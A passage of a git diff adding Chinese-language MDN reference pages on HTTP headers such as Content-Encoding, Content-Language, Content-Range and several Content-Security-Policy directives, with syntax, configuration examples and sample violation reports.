scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Encoding: gzip +Content-Encoding: compress +Content-Encoding: deflate +Content-Encoding: identity +Content-Encoding: br +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>gzip</code></dt> + <dd>表示采用 <a href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">Lempel-Ziv coding</a> (LZ77) 压缩算法,以及32位CRC校验的编码方式。这个编码方式最初由 UNIX 平台上的 <em>gzip</em> 程序采用。出于兼容性的考虑, HTTP/1.1 标准提议支持这种编码方式的服务器应该识别作为别名的 <code>x-gzip </code>指令。</dd> + <dt><code>compress</code></dt> + <dd>采用 <a href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) 压缩算法。这个名称来自UNIX系统的 <em>compress</em> 程序,该程序实现了前述算法。<br> + 与其同名程序已经在大部分UNIX发行版中消失一样,这种内容编码方式已经被大部分浏览器弃用,部分因为专利问题(这项专利在2003年到期)。</dd> + <dt><code>deflate</code></dt> + <dd>采用 <a href="http://en.wikipedia.org/wiki/Zlib">zlib</a> 结构 (在 <a href="http://tools.ietf.org/html/rfc1950">RFC 1950</a> 中规定),和 <a href="http://en.wikipedia.org/wiki/DEFLATE"><em>deflate</em></a> 压缩算法(在 <a href="http://tools.ietf.org/html/rfc1952">RFC 1951</a> 中规定)。</dd> + <dt><code>identity</code></dt> + <dd>用于指代自身(例如:未经过压缩和修改)。除非特别指明,这个标记始终可以被接受。</dd> + <dt><code>br</code></dt> + <dd>表示采用 <a href="https://en.wikipedia.org/wiki/Brotli">Brotli</a> 算法的编码方式。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<h3 id="使用_gzip_方式进行压缩">使用 gzip 方式进行压缩</h3> + +<p><br> + 客户端可以事先声明一系列的可以支持压缩模式,与请求一齐发送。 {{HTTPHeader("Accept-Encoding")}} 这个首部就是用来进行这种内容编码形式协商的:</p> + +<pre>Accept-Encoding: gzip, deflate</pre> + +<p>服务器在 <code>Content-Encoding</code> 响应首部提供了实际采用的压缩模式:</p> + +<pre>Content-Encoding: gzip</pre> + +<p>需要注意的是,服务器端并不强制要求一定使用何种压缩模式。采用哪种压缩方式高度依赖于服务器端的设置,及其所采用的模块。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Encoding", "3.1.2.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + <tr> + <td><a href="http://www.ietf.org/id/draft-alakuijala-brotli">http://www.ietf.org/id/draft-alakuijala-brotli</a></td> + <td>Brotli Compressed Data Format</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Encoding")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Accept-Encoding")}}</li> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-language/index.html b/files/zh-cn/web/http/headers/content-language/index.html new file mode 100644 index 0000000000..194aae784a --- /dev/null +++ b/files/zh-cn/web/http/headers/content-language/index.html @@ -0,0 +1,103 @@ +--- +title: Content-Language +slug: Web/HTTP/Headers/Content-Language +tags: + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Content-Language +--- +<div> </div> + +<p><strong><code>Content-Language</code></strong> 是一个 {{Glossary("entity header")}} (实体消息首部),用来说明访问者希望采用的语言或语言组合,这样的话用户就可以根据自己偏好的语言来定制不同的内容。</p> + +<p>举个例子,假如设置了这样一条消息首部( "<code>Content-Language: de-DE</code>" ),那么说明这份文件是为说德语的人提供的(当然这并不意味着文件本身就是用德语写的。比如,它可能是为说德语的人开设的英语教程的一部分,也就是用英语写的)。</p> + +<p>如果没有指明 <code>Content-Language</code>,那么默认地,文件内容是提供给所有语言的访问者使用的。多个语言标签也是合法的,同样的,这个首部还可以用来描述不同媒体类型的文件,而不单单局限于文本型文档。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>yes</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Language: de-DE +Content-Language: en-US +Content-Language: de-DE, en-CA +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><code>language-tag</code></dt> + <dd>多个语言标签需要用逗号隔开。每一个语言标签都是由一个或多个不区分大小写的子标签构成的,子标签之间用连字号 ("-", %x2D)隔开。通常情况下,一个语言标签是由标识一个大的语言家族的主语言子标签(例如"en" = English),以及后面可选的用来缩小语言范围使更确切的一系列子标签("en-CA" 表示在加拿大范围使用的英语的变种)构成的。</dd> +</dl> + +<div class="note"> +<p><strong>注意:</strong> 语言标签在 <a href="https://tools.ietf.org/html/rfc5646">RFC 5646</a>中被正式定义,它使用的<a href="https://en.wikipedia.org/wiki/Language_code">语言代码</a>依赖于 <a href="https://en.wikipedia.org/wiki/ISO_639">ISO 639</a> 标准(通常为 <a href="https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes">ISO 639-1 code list</a>) 。</p> +</div> + +<h2 id="示例">示例</h2> + +<h3 id="声明文档的书写语言">声明文档的书写语言</h3> + +<p>全局的 <code><a href="/en-US/docs/Web/HTML/Global_attributes/lang">lang</a></code> 属性使用在HTML元素去表达全部的 <a href="/en-US/docs/Web/HTML">HTML</a>文档或者部分的语言。</p> + +<pre class="brush: html"><html lang="de"></pre> + +<p>不要使用这个meta元素去声明文档语言:</p> + +<pre class="brush: html example-bad"><!-- /!\ This is bad practice --> +<meta http-equiv="content-language" content="de"></pre> + +<h3 id="为资源指定目标访问者">为资源指定目标访问者</h3> + +<p><code>Content-Language</code> 请求头用于指定<strong>页面的目标受众,</strong>并且可以指明当前页面存在多种语言.</p> + +<pre>Content-Language: de, en</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规格</th> + <th scope="col">表头</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Language", "3.1.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Language")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li> + <p><a href="https://www.w3.org/International/questions/qa-http-and-lang.en">HTTP headers, meta elements and language information</a></p> + </li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-length/index.html b/files/zh-cn/web/http/headers/content-length/index.html new file mode 100644 index 0000000000..3c0cb3d100 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-length/index.html @@ -0,0 +1,63 @@ +--- +title: Content-Length +slug: Web/HTTP/Headers/Content-Length +tags: + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Content-Length +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Length</code></strong> 是一个实体消息首部,用来指明发送给接收方的消息主体的大小,即用十进制数字表示的八位元组的数目。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Length: <length> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><length></dt> + <dd>消息的长度,用十进制数字表示的八位字节的数目。</dd> +</dl> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7230", "Content-Length", "3.3.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Length")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-location/index.html b/files/zh-cn/web/http/headers/content-location/index.html new file mode 100644 index 0000000000..6be9dba3d8 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-location/index.html @@ -0,0 +1,70 @@ +--- +title: Content-Location +slug: Web/HTTP/Headers/Content-Location +tags: + - 内容协商 + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Content-Location +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Content-Location</code></strong> 首部指定的是要返回的数据的地址选项。最主要的用途是用来指定要访问的资源经过<a href="/en-US/docs/Web/HTTP/Content_negotiation">内容协商</a>后的结果的URL。</p> + +<p>{{HTTPHeader("Location")}} 与 <code>Content-Location</code>是不同的,前者({{HTTPHeader("Location")}} )指定的是一个重定向请求的目的地址(或者新创建的文件的URL),而后者( <code>Content-Location</code>) 指向的是可供访问的资源的直接地址,不需要进行进一步的内容协商。Location 对应的是响应,而Content-Location对应的是要返回的实体。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Entity header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Location: <url> +</pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><url></dt> + <dd>相对地址(相对于要访问的URL)或绝对地址。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Content-Location: /index.html</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7231", "Content-Location", "3.1.4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Location")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Location")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-range/index.html b/files/zh-cn/web/http/headers/content-range/index.html new file mode 100644 index 0000000000..7ec65749f4 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-range/index.html @@ -0,0 +1,87 @@ +--- +title: Content-Range +slug: Web/HTTP/Headers/Content-Range +tags: + - 响应首部 + - 超文本传输协议 + - 首部 +translation_of: Web/HTTP/Headers/Content-Range +--- +<div>{{HTTPSidebar}}</div> + +<p>在HTTP协议中,响应首部 <strong><code>Content-Range</code></strong> 显示的是一个数据片段在整个文件中的位置。</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple response header", "CORS-safelisted response-header")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Range: <unit> <range-start>-<range-end>/<size> +Content-Range: <unit> <range-start>-<range-end>/* +Content-Range: <unit> */<size></pre> + +<h2 id="指令">指令</h2> + +<dl> + <dt><unit></dt> + <dd>数据区间所采用的单位。通常是字节(byte)。</dd> +</dl> + +<dl> + <dt><range-start></dt> + <dd>一个整数,表示在给定单位下,区间的起始值。</dd> + <dt><range-end></dt> + <dd>一个整数,表示在给定单位下,区间的结束值。</dd> + <dt><size></dt> + <dd>整个文件的大小(如果大小未知则用"*"表示)。</dd> +</dl> + +<h2 id="示例">示例</h2> + +<pre>Content-Range: bytes 200-1000/67589 +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + <tr> + <td>{{RFC("7233", "Content-Range", "4.2")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Range")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("If-Range")}}</li> + <li>{{HTTPHeader("Range")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPStatus("206")}} <code>Partial Content</code></li> + <li>{{HTTPStatus("416")}} <code>Range Not Satisfiable</code></li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html new file mode 100644 index 0000000000..31f917d80a --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy-report-only/index.html @@ -0,0 +1,141 @@ +--- +title: Content-Security-Policy-Report-Only +slug: Web/HTTP/Headers/Content-Security-Policy-Report-Only +translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP <strong><code>Content-Security-Policy-Report-Only</code></strong>响应头允许web开发人员通过监测(但不强制执行)政策的影响来尝试政策。这些违反报告由 {{Glossary("JSON")}} 文档组成通过一个HTTP POST请求发送到指定的URI。</p> + +<p>更多相关信息, 可参见这篇文章 <a href="/en-US/docs/Web/HTTP/CSP">Content Security Policy (CSP)</a>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header 类型</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + <tr> + <th colspan="2" scope="row">这个header不支持在 {{HTMLElement("meta")}} 元素内(定义)。</th> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive> +</pre> + +<h2 id="指令">指令</h2> + +<p>{{HTTPHeader("Content-Security-Policy")}} header 的指令也可应用于 <code>Content-Security-Policy-Report-Only</code>.</p> + +<p>CSP {{CSP("report-uri")}} 指令需要跟这个header一起用, 否则这个header将会是一个昂贵却无操作(无作用)的机器(设置)。</p> + +<h2 id="例子">例子</h2> + +<p>这个 header 报告(统计)将会发生的违规行为。你可以使用这个header去迭代你的内容安全政策。你观察你的网站的行为,查看违反报告,然后通过 {{HTTPHeader("Content-Security-Policy")}} 头选择所需的政策。</p> + +<pre>Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<p>如果你希望收到报告,而且还想执行一项策略,使用{{HTTPHeader("Content-Security-Policy")}} 头跟{{CSP("report-uri")}} 指令.</p> + +<pre>Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/</pre> + +<h2 id="违规报告的语法">违规报告的语法</h2> + +<p>报告的JSON对象包括下面的数据:</p> + +<dl> + <dt><code>document-uri</code></dt> + <dd>发生违规的文档URI。</dd> + <dt><code>referrer</code></dt> + <dd>发生违规的文档referrer。</dd> + <dt><code>blocked-uri</code></dt> + <dd>被内容安全政策阻塞加载的资源的URI。如果被阻塞的URI与文档URI不同源,则被阻塞的URI被截断为只包含scheme(协议),host(域名),和port(端口)。</dd> + <dt><code>violated-directive</code></dt> + <dd>被违反的策略名。</dd> + <dt><code>original-policy</code></dt> + <dd> <code>Content-Security-Policy</code> HTTP 头部所指定的原始策略。</dd> + <dt>disposition</dt> + <dd>“执行”或“报告”取决于是使用{{HTTPHeader("Content-Security-Policy")}} 头还是使用 <code>Content-Security-Header-Report-Only</code> 头。</dd> +</dl> + +<h2 id="违规报告样例">违规报告样例</h2> + +<div>思考一下一个地址为<code>http://example.com/signup.html的页面。它使用了下面的策略,禁止除了来自cdn.example.com</code>的<code>样式表外的其他任何资源。</code></div> + +<div> +<pre>Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> +</div> + +<div><code>signup.html</code>的html如下:</div> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <title>Sign Up</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> + ... Content ... + </body> +</html></pre> + +<div>你可以发现违规的地方吗? 只允许加载来自<code>cdn.example.com这个域名的</code>样式表,然而这个网站试着加载来自自己域名的样式表(<code>http://example.com</code>)。当文档被访问时,可以执行CSP(内容安全策略)的浏览器将会用POST请求发送以下违规报告到<code>http://example.com/_/csp-reports</code>:</div> + +<pre class="brush: js">{ + "csp-report": { + "document-uri": "http://example.com/signup.html", + "referrer": "", + "blocked-uri": "http://example.com/css/style.css", + "violated-directive": "style-src cdn.example.com", + "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", + "disposition": "report" + } +}</pre> + +<p>正如你所看到的,报告在<code>blocked-uri上记录了</code>违反资源的完整路径。这并非总是如此。例如,当 <code>signup.html</code> 试图从 <code>http://anothercdn.example.com/stylesheet.css加载</code>CSS,浏览器不会包含完整路径,只包含来源。这样做是为了防止泄漏跨域资源的敏感信息。</p> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Content-Security-Policy-Report-Only")}}</p> + +<h2 id="另请参阅">另请参阅</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>CSP {{CSP("report-uri")}} directive</li> + <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> + <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li> + <li><a href="https://report-uri.io/">https://report-uri.io – CSP and HPKP reporting</a></li> + <li><a href="https://httpschecker.net/guides/https-reporter">Hosted CSP reporting for HTTPS migrations</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.html b/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.html new file mode 100644 index 0000000000..1581c12994 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/base-uri/index.html @@ -0,0 +1,106 @@ +--- +title: 'CSP: base-uri' +slug: Web/HTTP/Headers/Content-Security-Policy/base-uri +tags: + - CSP + - HTTP + - 安全 + - 指令 + - 文档指令 +translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 协议 {{HTTPHeader("Content-Security-Policy")}} 首部字段中的 <strong><code>base-uri</code></strong> 指令限制了可以应用于一个文档的 {{HTMLElement("base")}} 元素的 URL。假如指令值为空,那么任何 URL 都是允许的。如果指令不存在,那么用户代理会使用 {{HTMLElement("base")}} 元素中的值。 </p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>No. Not setting this allows anything.</td> + </tr> + </tbody> +</table> + +<h2 id="语法">语法</h2> + +<p>base-uri 安全策略可以设置一个或多个源:</p> + +<pre class="syntaxbox">Content-Security-Policy: base-uri <source>; +Content-Security-Policy: base-uri <source> <source>; +</pre> + +<h3 id="源">源</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> + +<h2 id="示例">示例</h2> + +<h3 id="Meta_tag_配置">Meta tag 配置</h3> + +<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"></pre> + +<h3 id="Apache_配置">Apache 配置</h3> + +<pre class="brush: bash"><IfModule mod_headers.c> +Header set Content-Security-Policy "base-uri 'self'; +</IfModule></pre> + +<h3 id="Nginx_配置">Nginx 配置</h3> + +<pre class="brush: bash">add_header Content-Security-Policy "base-uri 'self';"</pre> + +<h3 id="违犯策略的案例"><em>违犯策略的案例</em></h3> + +<p>假如你的域名不是 example.com,那么将 {{HTMLElement("base")}} 元素的 href 属性值设置成 example.com 会违犯 CSP 策略。</p> + +<pre class="brush: html; example-bad"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"> +<base href="http://example.com/"> + +// Error: Refused to set the document's base URI to 'http://example.com/' +// because it violates the following Content Security Policy +// directive: "base-uri 'self'"</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.base-uri")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPheader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("base")}}</li> + <li>{{domxref("Node.baseURI")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/block-all-mixed-content/index.html b/files/zh-cn/web/http/headers/content-security-policy/block-all-mixed-content/index.html new file mode 100644 index 0000000000..bda0d06114 --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/block-all-mixed-content/index.html @@ -0,0 +1,58 @@ +--- +title: 'CSP: block-all-mixed-content' +slug: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP 协议首部字段 {{HTTPHeader("Content-Security-Policy")}} (CSP) 中的 <code><strong>block-all-mixed-content</strong></code> 指令在当前页面为通过 HTTPS 协议加载的情况下禁止通过 HTTP 渠道加载任何资源。</p> + +<p>任何<a href="/en-US/docs/Web/Security/Mixed_content">混合类型</a>的资源请求都是被禁止的,包括混合活动内容和混合被动内容。这一条也适用于 {{HTMLElement("iframe")}} 中的文档,确保整体页面都不包含混合内容。</p> + +<p>{{CSP("upgrade-insecure-requests")}} 指令会在 <code>block-all-mixed-content</code> 之前执行;如果前者执行成功,后者就不再发挥任何作用。推荐的做法是设置二者之一,而不是全部。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox">Content-Security-Policy: block-all-mixed-content;</pre> + +<h2 id="示例">示例</h2> + +<pre>Content-Security-Policy: block-all-mixed-content; + +<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content"> +</pre> + +<p>为了在更细粒度上限制对 http 资源的访问,你可以将个别指令的值设置为 "https:"。例如,为了限制对不安全的走 http 协议的图片的访问,可以这么做:</p> + +<pre>Content-Security-Policy: img-src https:</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}</td> + <td>{{Spec2('Mixed Content')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.block-all-mixed-content")}}</p> + +<h2 id="相关内容">相关内容</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{CSP("upgrade-insecure-requests")}}</li> + <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html new file mode 100644 index 0000000000..6299b2768c --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/child-src/index.html @@ -0,0 +1,89 @@ +--- +title: 'CSP: child-src' +slug: Web/HTTP/Headers/Content-Security-Policy/child-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src +--- +<div>{{HTTPSidebar}}</div> + +<p>The HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>child-src</code></strong> directive defines the valid sources for <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> and nested <a id="002" name="002">browsing </a>contexts loaded using elements such as {{HTMLElement("frame")}} and {{HTMLElement("iframe")}}. For workers, non-compliant requests are treated as fatal network errors by the user agent.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">CSP version</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Directive type</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} fallback</th> + <td>Yes. If this directive is absent, the user agent will look for the <code>default-src</code> directive.</td> + </tr> + </tbody> +</table> + +<h2 id="Syntax">Syntax</h2> + +<p>One or more sources can be allowed for the child-src policy:</p> + +<pre class="syntaxbox">Content-Security-Policy: child-src <source>; +Content-Security-Policy: child-src <source> <source>; +</pre> + +<h3 id="Sources">Sources</h3> + +<p>{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Violation_cases">Violation cases</h3> + +<p>Given this CSP header:</p> + +<pre class="brush: bash">Content-Security-Policy: child-src https://example.com/</pre> + +<p>This {{HTMLElement("iframe")}} and worker are blocked and won't load:</p> + +<pre class="brush: html"><iframe src="https://not-example.com"></iframe> + +<script> + var blockedWorker = new Worker("data:application/javascript,..."); +</script></pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{specName("CSP 3.0", "#directive-child-src", "child-src")}}</td> + <td>{{Spec2('CSP 3.0')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{specName("CSP 1.1", "#directive-child-srci", "child-src")}}</td> + <td>{{Spec2('CSP 1.1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{HTTPHeader("Content-Security-Policy")}}</li> + <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li> + <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> +</ul> diff --git a/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.html b/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.html new file mode 100644 index 0000000000..3951f7ee6b --- /dev/null +++ b/files/zh-cn/web/http/headers/content-security-policy/connect-src/index.html @@ -0,0 +1,114 @@ +--- +title: 'CSP: connect-src' +slug: Web/HTTP/Headers/Content-Security-Policy/connect-src +translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src +--- +<div>{{HTTPSidebar}}</div> + +<p>HTTP协议头部{{HTTPHeader("Content-Security-Policy")}} (CSP)的<code><strong>connect</strong></code><strong><code>-src</code></strong> 